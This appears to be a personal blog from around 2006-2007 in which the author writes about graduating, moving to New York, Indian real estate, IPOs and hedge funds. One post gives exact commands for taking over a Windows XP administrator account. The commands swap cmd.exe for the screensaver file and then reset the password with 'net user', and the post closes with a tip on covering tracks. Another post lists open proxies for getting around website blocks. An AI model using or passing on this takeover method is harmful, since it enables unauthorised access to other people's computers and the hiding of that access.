Random Musings

Dear All:

    This is a public notice. To all my friends and regular visitors of the blog. last few months posting have been very light. I was busy the Graduation and many other things. My life as such was mundane except the graduation. It all come with you through writing thesis.I used to receive comments for my previous posts and I very little care about posting them and replying to them promptly. Recently I tried to do a overhaul and here come the new design to inform my friends that I am back.

  In fact much of my time was taken by pursuing variety of interests. My Geek in me was restless and I think academy is the best place to quench the thirst of a drying throat. I was involved more in studying the interesting area of Entrepreneurship and Finance. Writing the thesis also demanded much of my time considering the barriers ;).

Few important upgrades of my life:

     1) Defended my thesis of November 2nd 2006
     2) I received graduate degree on December 16th 2006
     3) Moved to New York , December 17th 2006

Since I moved to a fast moving city , I hope I will have much to talk about.

Moved to New York

Moved on to New York,. Things have been good I graduated with Masters Degree. It seems to be taking me for a ride. This was the day I have been waiting for a long time. Now its the time of interviews, Job calls, roaming, time of fun and feelingness of acheivement.

Hack windows admin password

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Thank You

Access blogs aka blogger/ blogspot in India. (No one blocks blogs)

I heard that in India many of the websites are being blocked including the place where the blogs are hosted. Blogger typepad etc are some of those sites.

Ok, here is a way to get around the block. Deprival of human right even digital is not a way for exceeding in the future.

Follow 2 steps to way of limitless digital freedom.

Step 1:

Click the link For what to do Instruction for accessing all sites.

In the proxy address use these proxies.

206.207.248.34: 3128 PlanetLab proxy United States (AZ, Tucson)
206.207.248.35: 3128 PlanetLab proxy United States (AZ, Tucson)
199.77.128.194: 3124 PlanetLab proxy United States (CA, Alameda)
169.229.50.11: 3128 PlanetLab proxy United States (CA, Berkeley)
169.229.50.12: 3127 PlanetLab proxy United States (CA, Berkeley)
169.229.50.12: 3128 PlanetLab proxy United States (CA, Berkeley)

169.229.50.7: 8888 elite proxy United States (CA, Berkeley)
169.229.50.8: 3127 PlanetLab proxy United States (CA, Berkeley)

Step 2:

where 206.207.248.34 is the proxy address to use and 3128 to be the port

you can also get a list of anonymous proxies from this site . It works

Little know secret, Many advanced feature are vailable for US users I wish thats not fair every one should benefit from all the new feature. Thats why I had listen US proxies/say.

DLF IPO.. delayed . Some one said timing is everything in banking

The DLF management and the company's merchant bankers are believed to have pruned the stratospheric valuation of the company from about $25 billion to $15-$18 billion. The number of shares proposed to be issued, about 202 million, remains the same, but the amount sought to be raised, about $3.1 billion, may be cut to about $1.6 billion. Also, there is a possibility that the issue may be delayed.
It's wait-and-watch time for IPOs- The Economic Times

Alumni networks are vulnerable

I am sad to see this. the Alumni Networks of top colleges including stanford and harvard is vulnerable. People can always get access to that and use it for wrong reasons. if some one resposible contacted me I will be glad to point that out. So that they can close the loop hole. I did a pilot study on the same.

Sad!!! I wish some one contact me..

What I am at the moment

its exacyly 46 mins past midnight ie 00:46 am . I am here trying to do some thing but I dont know what is it. What am I looking for I have no clue. What am I working for. I know it but currently there is no idea what is going on in general.I am confused enough than any other guy over here.

This is what life teaches you. When u stay away from parents When I am in India what I need is only a call or a sitting with my father. Now since they are not able to understand exactly what is going on here and I dont want them to know there is an ambiguity in my decision and I dont want to make any wrong steps infact.

Just meditate and see only the goal in your life and I am sure that destiny in my mind will let me find the right path for me.

Dell buddies up with Skype - vnunet.com

Any more evidence for showing that Dell is bleeding in revenues. Last few weeks there is news about Dell tying up with Skype and Google. Is this good of course I know its not bad unless some one sues them or this is build in to the agreement. Watch out user. Doesn't MS did the same thing by bundling ie.

Dell buddies up with Skype - vnunet.com: "Dell buddies up with Skype

Free VoIP software bundled with new systems

Dell has signed a deal to bundle Skype's VoIP software on its new XPS laptop systems, providing free internet voice and video calls to other Skype users.

Users can choose to have Skype preloaded on the Dell XPS M2010 notebook, which features an integrated webcam for video calls. Dell will also offer a package that includes noise isolating earphones."

The Potential of Imminent Death Brings Peace, Focus, and Mental Calm (by Jeremy Zawodny): "I have one of those minds that's always jumping around and thinking about new things--never idle. But when your life depends on every one of your next moves, you become incredibly focused on the moment. It's very calming."

Read the above one so carefully. Yes, I am in a career decision making role. When your life depends on the next couple of moves you become extremely focused on just the next move/s.

Qn? Is there any way which move decides what (I will try to answer this question later thinking !!! )

Exams - Yes
Projects - Yes
Pressure - Yes

Couple of other offers too.. A trip to Ybor . ne of my friends Girl friend is coming over here and they wanted me to join with them.. I am getting lot of calls for this.

But I did say him that I may be going to Miami. While I am writing this. I still have no idea what am I doing.I wanted to visit Key West for while and it seems that this is a good opprtunity.

I cant help noticing this- Mumbai flat sold for Rs 21 crore Add to Clippings

Indiatimes Read the story

My What is going on there.A flat for 21 crore 60,000 rs / Sqft. This is utter craziness,Thats what people think. 3500 sqft for 21 Crore.

My analysis.
I heard that the central location in marine drive is worth 30,000 rs / sqft before 3 years ( Alas no one want to sell anything over there ). But this one some in willing to sell a floor on the NCPA building.A company office and its not a secret that the flat is not for residential purpose. If its an MNC what they spend is nearly 5 million dollar. This is a price might not be worth as an investment in short run (Probably couple of years). But is going to reap its benfit and will be getting better offers in sooner or later.

So before say its idiocracy think more Sir. There are more places in India they could have invested for huge returns and not Mumbai. If investment is not a motive what stops from them in buying this.

Look in to DLFs investment in cochin search for the recent IPO offer in this one MY passion

Goldman Gurus Strike It Rich With Hedge Fund

WSJ.com - Goldman Gurus Strike It Rich With Hedge Fund:

"Known as Global Alpha, the Goldman hedge fund was a leading contributor to a surge in 'incentive fees,' or performance-related fees, that Goldman reported for the first quarter ended in February. In that period, the incentive fees soared to $739 million from $131 million a year earlier, helping Goldman's earnings rise 64% to $2.48 billion, the biggest first-quarter gain of any major Wall Street firm.

Global Alpha's recent returns have been sizzling. In the 12-month period ended in March, the fund returned more than 48% before some fees, according to Goldman Sachs JBWere, an Australian affiliate of Goldman. It was closed to new investors last year. (On Wall Street, the word alpha refers to investment returns beyond those generated by the market.)"

What is going in Hedge funds. Great returns amid the mixed economy.

Shares are performing in a mixed way. Typically mixed earning of giants like Ebay, Intel, Apple and record prices for Gasoline.

Tough job and well done I am eagerly looking for next quarter results of the Goldman. (Typically their hedge fund contributions)
